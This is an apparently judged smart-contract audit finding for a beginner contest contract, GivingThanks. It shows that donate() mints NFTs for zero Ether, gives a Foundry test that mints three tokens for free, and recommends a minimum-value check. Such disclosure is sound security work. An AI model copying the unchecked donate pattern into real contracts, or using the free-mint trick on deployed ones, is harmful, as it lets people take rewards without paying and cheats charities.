GivingThanks

First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: low
Valid

H-01 Zero Ether Donations in `donate` Allows Unlimited Free NFT Minting Without Actual Contributions

Summary

The GivingThanks::donate function allows donors to mint NFTs without requiring any Ether to be sent. This vulnerability enables anyone to mint unlimited NFTs for free by repeatedly calling the donate function with zero Ether, undermining the platform's purpose of facilitating charitable donations.

Vulnerability Details

Vulnerable Code:

function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
(bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether");
_mint(msg.sender, tokenCounter);
// Create metadata for the tokenURI
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenCounter, uri);
tokenCounter += 1;
}

Issue:

  • The donate function does not enforce a minimum msg.value, allowing calls with zero Ether.

  • Donors can call donate with msg.value == 0, resulting in the minting of an NFT without any actual donation.

  • The call to charity.call{value: msg.value}("") with zero value does not transfer any Ether to the charity.

Proof of Concept:

Note: Before running the test, ensure that the constructor in the GivingThanks contract is corrected to properly initialize the registry variable. Update the constructor on line 16 as follows:

constructor(address _registry) ERC721("DonationReceipt", "DRC") {
- registry = CharityRegistry(msg.sender);
+ registry = CharityRegistry(_registry);
owner = msg.sender;
tokenCounter = 0;
}

The following test demonstrates the vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/GivingThanks.sol";
import "../src/CharityRegistry.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract MintForFreeTest is Test {
GivingThanks public charityContract;
CharityRegistry public registryContract;
address public admin;
address public charity;
address public donor;
function setUp() public {
// Initialize addresses
admin = makeAddr("admin");
charity = makeAddr("charity");
donor = makeAddr("donor");
// Deploy the CharityRegistry contract as admin
vm.prank(admin);
registryContract = new CharityRegistry();
// Deploy the GivingThanks contract with the registry address
vm.prank(admin);
charityContract = new GivingThanks(address(registryContract));
// Register and verify the charity
vm.prank(admin);
registryContract.registerCharity(charity);
vm.prank(admin);
registryContract.verifyCharity(charity);
}
function testMintNFTForFree() public {
// Deploy the mintForFree contract
MintForFree mintContract = new MintForFree();
// Start the prank as the mintForFree contract
vm.startPrank(address(mintContract));
// Attempt to donate 0 Ether to the charity multiple times
for (uint256 i = 0; i < 3; i++) {
charityContract.donate{value: 0}(address(charity));
}
// Stop the prank
vm.stopPrank();
// Check if multiple tokens were minted
uint256 attackerTokenBalance = charityContract.balanceOf(address(mintContract));
// 3 NFTs should have been minted for free
assertTrue(attackerTokenBalance == 3, "Attacker did not mint 3 tokens as expected");
// Balance of charity should be 0
assertEq(charity.balance, 0);
}
}
contract MintForFree is IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
return this.onERC721Received.selector;
}
}

Explanation:

  • The MintForFree contract calls donate with msg.value == 0 three times.

  • Each call results in minting an NFT to the MintForFree contract without any Ether being sent to the charity.

  • The test confirms that three NFTs were minted, and the charity's balance remains zero.

Impact

  • Unauthorized Minting of NFTs: Users can mint unlimited NFTs without making any donations.

  • Financial Loss for Charities: Charities do not receive expected funds from supposed donations.

  • Undermines Donation Model: The fundamental purpose of the platform—to facilitate donations—is compromised.

  • Reputation Damage: The platform may lose credibility if users exploit this to obtain NFTs without contributing.

Tools Used

  • Forge (Foundry): For writing and executing the test case.

  • Manual Code Review: To identify the lack of minimum donation enforcement.

Recommendations

  • Enforce a Minimum Donation Amount:

    Add a check to ensure that msg.value is greater than zero:

    function donate(address charity) public payable {
    require(registry.isVerified(charity), "Charity not verified");
    + require(msg.value > 0, "Donation amount must be greater than zero");
    (bool sent,) = charity.call{value: msg.value}("");
    require(sent, "Failed to send Ether");
    _mint(msg.sender, tokenCounter);
    // Create metadata for the tokenURI
    string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
    _setTokenURI(tokenCounter, uri);
    tokenCounter += 1;
    }
  • Consider Setting a Minimum Donation Threshold:

    • Define a minimum acceptable donation amount (e.g., 0.01 Ether) to prevent micro-donations that might not be meaningful after gas costs.

  • Validate Donation Success:

    • Ensure that the Ether transfer to the charity is successful and that the amount is significant before minting the NFT.

  • Update Tests Accordingly:

    • Modify existing tests to account for the minimum donation requirement.

    • Add tests to verify that donations below the minimum amount are rejected.

By implementing these recommendations, the contract will prevent users from minting NFTs without making actual donations, preserving the platform's integrity and ensuring that charities receive the intended funds.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-0-donation-mint-an-NFT

Likelyhood: Low, anyone can mint an NFT with 0 amount. No reason to do it. Impact: Informational/Very Low, NFT are minted to a false donator. An NFT with 0 in the amount section would be useless. Since that's a bad design and not expected, I'll consider it Low but in a real contest, it could be informational because there is no real impact.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.